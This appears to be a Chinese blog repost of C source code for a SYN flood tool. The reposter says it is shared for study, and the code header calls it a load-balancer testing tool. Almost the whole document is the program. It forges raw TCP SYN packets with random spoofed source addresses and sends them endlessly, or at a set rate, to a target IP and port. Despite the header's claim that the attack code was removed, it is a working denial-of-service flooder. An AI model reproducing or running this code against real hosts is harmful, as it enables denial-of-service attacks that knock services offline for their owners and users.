Linux的SYN FLOOD

原文地址http://www.icylife.net/yunshu/show.php?id=367，作者是阿里云安全专家。拿过来学习一下~~

/********************************************************************************************* SYN Flood, Test on Red Hat Enterprise Linux AS release 3 (Taroon Update 5), gcc 3.23* gcc -o syn_test -O3 syn_test.c* change log:* 2006-12-01, code by yunshu([e-mail]), thx luoluo for fixing a bug.* 2006-12-05, yunshu fix a bug, version 1.0* 2006-12-26, thx bocai for reporting a bug, version 1.1* 2008-04-26 luoluo add type options to support syn_ack and fin_ack flood v1.2*   2010-11-10 yunshu fix a little bug*   2010-11-19 yunshu modify the sleep funtion, version 1.3.*   2011-06-26 yunshu delete attack code, make it to be a testing tool.**   it used to test loadblance, you have to change some code for attacking. *********************************************************************************************/#include <stdio.h>#include <netinet/in.h>#include <netdb.h>#include <sys/time.h>#include <sys/types.h>#include <unistd.h>#include <stdlib.h>#include <signal.h>#include <pthread.h>#include <errno.h> typedef struct ip_hdr{    unsigned char       h_verlen;    unsigned char       tos;    unsigned short      total_len;    unsigned short      ident;    unsigned short      frag_and_flags;    unsigned char       ttl;    unsigned char       proto;    unsigned short      checksum;    unsigned int        sourceIP;    unsigned int        destIP;}IP_HEADER; typedef struct tcp_hdr{    unsigned short      th_sport;    unsigned short      th_dport;    unsigned int        th_seq;    unsigned int        th_ack;    unsigned char       th_lenres;    unsigned char       th_flag;    unsigned short      th_win;    unsigned short      th_sum;    unsigned short      th_urp;}TCP_HEADER; typedef struct tsd_hdr{    unsigned long       saddr;    unsigned long       daddr;    char                mbz;    char                ptcl;    unsigned short      tcpl;}PSD_HEADER; #define PACKET_SIZE     sizeof(IP_HEADER) + sizeof( TCP_HEADER ) char    dst_ip[20] = { 0 };int     dst_port;unsigned long long sleeptime, starttime, outcount=0;int pkt_then_sleep = 0; unsigned short CheckSum(unsigned short * buffer, int size){        unsigned long   cksum = 0;         while (size > 1)        {                cksum += *buffer++;                size -= sizeof(unsigned short);        }        if (size)        {                cksum += *(unsigned char *) buffer;        }        cksum = (cksum >> 16) + (cksum & 0xffff);        cksum += (cksum >> 16);         return (unsigned short) (~cksum);} void MySleep(unsigned int micro_second){        struct timeval  t_timeval;         t_timeval.tv_sec = 0;        t_timeval.tv_usec = micro_second;         select( 0, NULL, NULL, NULL, &t_timeval );} void Init( char *buffer ){        char    src_ip[20] = { 0 };int     n = 0;         IP_HEADER       IpHeader;        TCP_HEADER      TcpHeader;        PSD_HEADER      PsdHeader;         sprintf( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );         IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned int));        IpHeader.tos = 0;        IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader));        IpHeader.ident = 1;        IpHeader.frag_and_flags = 0x40;        IpHeader.ttl = 255;        IpHeader.proto = IPPROTO_TCP;        IpHeader.checksum = 0;        IpHeader.sourceIP = inet_addr(src_ip);        IpHeader.destIP = inet_addr(dst_ip);         TcpHeader.th_sport = htons( rand()%9000 + 1234 );        TcpHeader.th_dport = htons( dst_port );        TcpHeader.th_seq = htonl( rand()%90000000 + 2345 );        TcpHeader.th_ack = 0;        TcpHeader.th_lenres = (sizeof(TcpHeader)/4<<4|0);        TcpHeader.th_flag = 0x02;        TcpHeader.th_win = htons(512);        TcpHeader.th_sum = 0;        TcpHeader.th_urp = 0;         PsdHeader.saddr = IpHeader.sourceIP;        PsdHeader.daddr = IpHeader.destIP;        PsdHeader.mbz = 0;        PsdHeader.ptcl = IPPROTO_TCP;        PsdHeader.tcpl = htons(sizeof(TcpHeader));         memcpy( (void*)buffer, (void*)&PsdHeader, sizeof(PsdHeader) );        memcpy( (void*)(buffer + sizeof(PsdHeader)), (void*)&TcpHeader, sizeof(TcpHeader) );        TcpHeader.th_sum = CheckSum( (unsigned short *) buffer, sizeof(PsdHeader) + sizeof(TcpHeader) ); memset( buffer, 0, PACKET_SIZE );        memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );        IpHeader.checksum = CheckSum( (unsigned short *) buffer, sizeof(IpHeader) );         //memcpy( (void*)buffer, (void*)&IpHeader, sizeof(IpHeader) );        memcpy( (void*)(buffer+sizeof(IpHeader)), (void*)&TcpHeader, sizeof(TcpHeader) );} void Flood( ){        int     sock;int     flag = 1;char    buffer[PACKET_SIZE] = { 0 };         struct  sockaddr_in     sa;        memset( &sa, 0, sizeof(struct  sockaddr_in) );        sa.sin_family = AF_INET;        sa.sin_port = htons(dst_port);        sa.sin_addr.s_addr = inet_addr(dst_ip);         if ( ( sock = socket(PF_INET,SOCK_RAW,6) ) < 1 )        {                printf( "create socket error...%s\n", strerror(errno) );                exit (-1);        }         if( setsockopt( sock, IPPROTO_IP, IP_HDRINCL, (char *)&flag, sizeof(flag)) < 0 )        {                printf("setsockopt error...%d\n", errno);                exit (-1);        } srand((unsigned) time(NULL)); int     number = 0;if( sleeptime == 0 ){while(1){memset( (void*)buffer, 0, PACKET_SIZE );        Init( buffer );         sendto( sock, buffer, PACKET_SIZE, 0, (struct sockaddr *)(&sa), sizeof(struct sockaddr_in) );        outcount ++;}}else{while(1){memset( (void*)buffer, 0, PACKET_SIZE );        Init( buffer );         sendto( sock, buffer, PACKET_SIZE, 0, (struct sockaddr *)(&sa), sizeof(struct sockaddr_in) );        outcount ++;number ++; if( number == pkt_then_sleep )                        {MySleep( sleeptime );number = 0;                        }                }        }} void sig_proc(int signum){int ctime = 0;         printf( "signal: %d\n", signum );         ctime=time(NULL);         printf("\n -- statistics -----------------------\n");        printf("   packets sent:          %d\n",outcount);        printf("   seconds active:        %d\n",ctime-starttime);        printf("   average packet/second: %d\n",outcount/(ctime-starttime));        printf(" -------------------------------------\n");         exit(1);} int main(int argc,char *argv[]){int ret = 0;pthread_t* my_thread = NULL;int a =0;int type = 0;         if( argc != 5 )        {                fprintf(stderr,"\n%s <target ip> <target port> <pkt_then_sleep> <sleep_time>\n", argv[0]);fprintf(stderr, "send syn packets to <target ip>:<target port>, sleep <sleep_time> microseconds per <pkt_then_sleep> paskets\n\n");                return -1;        }         strncpy( dst_ip, argv[1], 16 );        dst_port = atoi( argv[2] );         if( inet_addr(dst_ip) == INADDR_NONE )        {                      printf( "target ip error.\n" );                return -1;        }         if( dst_port < 0 || dst_port > 65535 )        {                      printf( "port error.\n" );                return -1;        } pkt_then_sleep = atoi(argv[3]);if( pkt_then_sleep == 0 ){printf( "pkt_then_sleep error.\n" );return -1;}        sleeptime = atoi(argv[4]);         starttime = time(NULL);        while(time(NULL) == starttime) usleep(1000);         signal(SIGHUP,&sig_proc);        signal(SIGINT,&sig_proc);        signal(SIGQUIT,&sig_proc);        signal(SIGILL,&sig_proc);        signal(SIGABRT,&sig_proc);        signal(SIGFPE,&sig_proc);        signal(SIGSEGV,&sig_proc);        signal(SIGPIPE,&sig_proc);        signal(SIGALRM,&sig_proc);        signal(SIGTERM,&sig_proc);        signal(SIGUSR1,&sig_proc);        signal(SIGUSR2,&sig_proc);        signal(SIGCHLD,&sig_proc);        signal(SIGCONT,&sig_proc);        signal(SIGTSTP,&sig_proc);        signal(SIGTTIN,&sig_proc);        signal(SIGTTOU,&sig_proc);         Flood();         return 0;}